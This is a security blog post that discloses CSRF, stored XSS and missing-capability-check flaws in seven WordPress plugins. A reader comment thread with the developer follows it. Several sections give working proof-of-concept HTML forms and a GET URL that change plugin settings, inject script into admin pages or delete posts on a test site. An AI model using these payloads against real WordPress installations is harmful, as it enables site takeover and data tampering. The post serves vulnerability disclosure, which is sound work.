WordPress Plugin Vulnerability Dump – Part 1

This post contains information on vulnerabilities for 7 (at least somewhat) popular wordpress plugins. All of these vulnerabilities were trivial to discover (and are trivial to fix). The state of wordpress plugin security is very sad indeed. None of the developers were contacted in advance of this post (except where otherwise noted). Additional vulnerabilities will be posted as time permits.

Easy Media Gallery v1.2.59
Plugin Homepage
Downloads: 274k
Easy Media Gallery v1.2.59 has several CSRF vulnerabilites, at least one of which can lead to XSS allowing an attacker to gain admin access to the site. Some, but not all, ajax requests are vulnerable due to the lack of nonces.
Here is an example of some vulnerable code:

/*-------------------------------------------------------------------------------*/
/*  Image Resize ( Aspect Ratio ) AJAX
/*-------------------------------------------------------------------------------*/
function easymedia_imgresize_ajax() {
        if ( !isset( $_POST['imgurl'] ) || !isset( $_POST['limiter'] ) || $_POST['imgurl'] == '' || $_POST['limiter'] == '' ) {
                echo '<p>Ajax request failed, please refresh your browser window.</p>';
                die;
                }
                else {
                        
                $imgurl = $_POST['imgurl'];
                $limiter = $_POST['limiter'];
                $attid = wp_get_attachment_image_src( emg_get_attachment_id_from_src( $imgurl ), 'full' );
                                
                                $tmpimgratio = $attid[2] / $attid[1]; //get image aspec ratio

                if ( $attid[1] > $limiter ) {
                        $tmph = (int)($tmpimgratio * $limiter); // final image height
                        $tmpw = $limiter; // fixed image width
                        $finimgurl = easymedia_resizer( $imgurl, $attid[1], $attid[2], $tmpw, $tmph, true );
                        $allimgdata = array( $finimgurl, $tmpw, $tmph );
                        echo implode(",", $allimgdata);
                        die;
                        }
                else {
                        $finimgurl = $imgurl;
                        $allimgdata = array( $finimgurl, $attid[1], $attid[2] );
                        echo implode(",", $allimgdata);
                        die;
                        }               
                }
}
add_action( 'wp_ajax_easymedia_imgresize_ajax', 'easymedia_imgresize_ajax' );

And the corresponding POC:

<html><body>
<form action="http://wptestbox1.dev/wordpress/wp-admin/admin-ajax.php" method="POST">
imgurl:<br>
<textarea name="imgurl">&lt;html&gt;&lt;body&gt;&lt;script&gt;alert(0);&lt;/script&gt;&lt;/body&gt;&lt;/html&gt;</textarea><br>
limiter: <input name="limiter" value="0"><br>
action: <input name="action" value="easymedia_imgresize_ajax">
<input type="submit" value="submit">
</form>
</body></html>

Another thing worth pointing out about this function, the user’s capabilities are never checked, so any logged in user, even a subscriber, can call this function (and many others) with malicious or non-malicious input.

WP RSS Multi Importer v3.11
Plugin Homepage
Downloads: 331k
Some GET requests are vulnerable to CSRF. Nonces are used for POST requests, but like many plugins, this one lacks nonces on GETs. The below example deletes posts made from an RSS feed.

http://wptestbox1.dev/wordpress/wp-admin/edit.php?post_type=rssmi_feed&rssmi_delete_items=23

Ready! Ecommerce v0.5.0
Plugin Homepage
Downloads: 689k
The Ready! Ecommerce developers apparently don’t believe in using nonces (or sanitizing output). All of the ajax calls are vulnerable. For example, the options for the plugin can be set via CSRF.
POC:

<html><body>
<form action="http://wptestbox1.dev/wordpress/wp-admin/admin-ajax.php" method="POST">
reqType: <input name="reqType" value="ajax"><br>
page: <input name="page" value="options"><br>
action: <input name="action" value="putOption"><br>
id: <input name="id" value="1"><br>
value: <input name="value" value="&quot;&gt;&lt;script&gt;alert(&quot;xss&quot;);&lt;/script&gt;"><br>
<input type="submit" value="submit"><br>
</form>
</body></html>

The admin options page also doesn’t sanitize output, so like is often the case, CSRF can lead to a total compromise. Entertainingly, values hardcoded in the plugin aren’t even sanitized properly:

					   <td>47</td>
					   <td>
							Redirect for "Buy Now"							<a href="#" class="toeOptTip" tip="Redirect to page after user click on "Buy Now" button"></a>
					   </td>
					   <td width="60%" class="field_input">

Unfortunately, this trend continues into data supplied directly by end users. Information supplied by the customer when placing an order is later displayed unsanitized to the admin. Yep.
This:
ready_ecommerce_order
Leads to this:
ready_ecommerce_order_details

Ready! Google Maps v1.1.5
Plugin Homepage
Downloads: 351k
Same company, same problems. No nonces and no escaping output. Below, updating map name to include javascript that executes on the edit map page.

<html><body>
<form action="http://wptestbox1.dev/wordpress/wp-admin/admin-ajax.php" method="POST">
reqType: <input name="reqType" value="ajax"><br>
page: <input name="mod" value="gmap"><br>
action: <input name="action" value="save"><br>
pl: <input name="pl" value="gmp"><br>
title: <input name="map_opts[title]" value="&quot;;&lt;/script&gt;&lt;script&gt;alert(0)&lt;/script&gt;"><br>
id: <input name="map_opts[id]" value="4"><br/>
<input type="submit" value="submit"><br>
</form>
</body></html>

Someone more mischievous than malicious could update maps to point to random places.

Ready! Coming Soon aka Coming Soon / Maintenance mode Ready! v0.5.0
Plugin Homepage
Downloads: 412k
I’m going to stop picking on this company after this. Same old, same old. No nonces anywhere. User input isn’t sanitized properly.

<html><body>
<form action="http://wptestbox1.dev/wordpress/wp-admin/admin-ajax.php" method="POST">
reqType: <input name="reqType" value="ajax"><br>
page: <input name="page" value="options"><br>
action: <input name="action" value="saveGroup"><br>
pl: <input name="pl" value="csp"><br>
Text: <input name="opt_values[msg_text]" value="&lt;script&gt;alert(0)&lt;/script&gt;"><br>
<input type="submit" value="submit"><br>
</form>
</body></html>

When “Coming Soon” mode is enabled, visitors can enter their email address so they can be notified when your site is done. The input is displayed in the admin interface without being escaped.
coming_soon_ready_message
coming_soon_ready_admin

Contact Form (by BestWebSoft) v3.82
Plugin Homepage
Downloads: 2.3m
Contact Form has a relatively minor authorization bypass vulnerability. The ajax functions that add and remove languages don’t use nonces or check what type of user is calling them. As a result, any logged in user, even a subscriber, can use these ajax functions. This was reported to the developer in August of 2013. At the time, language names were not escaped in the admin interface, leading to XSS. The XSS part was fixed, but the developer made no other changes despite being told about the nonce issue.

<html><body>
<form method="post" action="http://wptestbox1.dev/wordpress/wp-admin/admin-ajax.php">
action:<select name="action"><option value="cntctfrm_add_language">Add Language</option>
<option value="cntctfrm_remove_language">Remove Language</option></select><br>
language: <input class="text" value="" name="lang" id="cntctfrm_contact_email"><br>
<input type="submit" value="Submit">
</form>
</body></html>

WP Photo Album Plus v5.4.5
Plugin Homepage
Downloads: 1.1m
There is a stored XSS vulnerability in v5.4.5. I posted this a while back, but nobody noticed (*cries a little*). The newest version is 5.4.6. I didn’t test the newest version, but looking at the diffs, it still looks to be vulnerable. No changes were made relating to the vulnerable code. See the original post here.

Author: Voxel@Night

Comments

  1. I informed wpscan developers about these issues. These will be added to plugin vulnerability database. Thank you for your work. Have you btw. informed [email protected]? They can disable plugins so that they won’t be downloaded before these are fixed and also they can notify developers of specific plugins.

  2. Hello.
    Sorry, but you are not correct about 1 point of Ready! Ecommerce. This submit will update option value only if you are now logged-in in same browser as admin, in other case – it will show you message:
    “You have no permissions to view this page”
    and will not change anything.

    Regards,
    Alexey.

      1. So, can you remove this from article? Also, I like to inform that we just released new version of all 3 plugins, that should fix those issues (we added additional data escape before move them to database), so you will note this on article or just remove us from this “black” list? Also, thank you for your work – this is really impressive, great job, if you will meet some other issues in our plugins – you can contact me directly, we will resolve them all as fast as we can.

        1. It is not a black list. It is good to have information about vulnerabilities even those get fixed in newer versions. Which versions contain the fixes?

          1. It is in:
            Coming Soon – 0.5.1
            Ready! Ecommerce – 0.5.1
            Google maps – 1.1.6
            Can you at least mark those points in article as “Resolved” or “Fixed”?

          2. @Alexey: I’m not sure if you’re talking to me or Henri, but in either case I haven’t had a chance to look at them yet. You were really responsive about the issues (which seems to be quite rare), so I’ll definitely let you know privately if I find any other issues with your plugins.

            Make sure to check your other plugins for similar issues too.

            You also might want to check out:
            https://www.owasp.org/index.php/Top_10_2013-Top_10
            http://mikejolley.com/2013/08/keeping-your-shit-secure-whilst-developing-for-wordpress/

  3. The idea of CSRF is to use that logged in administrator permissions (trust) to that webpage to do malicious activity. CSRF is also called “session riding”, which might give you a good picture what is happening 🙂

  4. Pingback: CSRF, XSS Vulnerabilities Afflict Wordpress Plugins | Threatpost | The first stop for security news

  5. Hello.
    I ask you again – please remove or mark as fixed plugins Ready! Ecommerce, Google maps Ready! and Coming soon Ready!, they were fixed a long time ago. Also, I asked you to remove from Ready! Ecommerce statement:
    “All of the ajax calls are vulnerable.”
    As this is not correct – you can access to admin ajax calls only if you are logged as admin, and I already wrote this before, you can see my comment above, and Voxel@Night approved this.

    Regards,
    Alexey.

      1. Hello.
        I tried to add on checkout:
        “>alert(‘my data’);
        and I see no alerts in admin area, I see there just usual text:
        “alert(‘my data’);”
        No scripts executions.
        And on Google maps – there are restriction to access maps or any other admin methods for not admins logged-in users. So, actually, only admin – can create CSRF issues from admin area. Please make sure – that your are not logged-in in admin area in same browser, that you are using to send form like in your ready_google_maps_csrf_poc.html example.
        Also, back to Ready! Ecommerce – you wrote in this article:
        “All of the ajax calls are vulnerable.”
        But this is not correct, and you agreed with me in prev. conversation – so why you didn’t removed this? For now any user that install our plugin, will see that it use ajax requests in most of it’s cases, then look in your article – and read:
        “All of the ajax calls are vulnerable.” – he will unistall plugin as fast as he can, and write negative review, but we know that statement – is not correct.

        Regards,
        Alexey.

          1. Ok, I read it again, search additional info in internet, then – read again article that you sent to me. Actually – what I found was:
            1. For WP – it’s better to use wp_filter_nohtml_kses before insert to database
            2. And use esc_html before out data to user page
            So, I used both functions – to process user inputs on checkout before insert to database, and to process user data in out in admin area (actually – I should confess – I didn’t fully understand – why it’s required to process data in output – if it was already processed before insert to database? but – if this is more secure to site scripts – then ok, let it be). So for now:
            1. Users can’t enter “forbiden” data from frontend
            2. Users can’t access to admin ajax methods to create vulnerability
            Is this correct or I miss something again? Latest version – 0.5.2.

Leave a Reply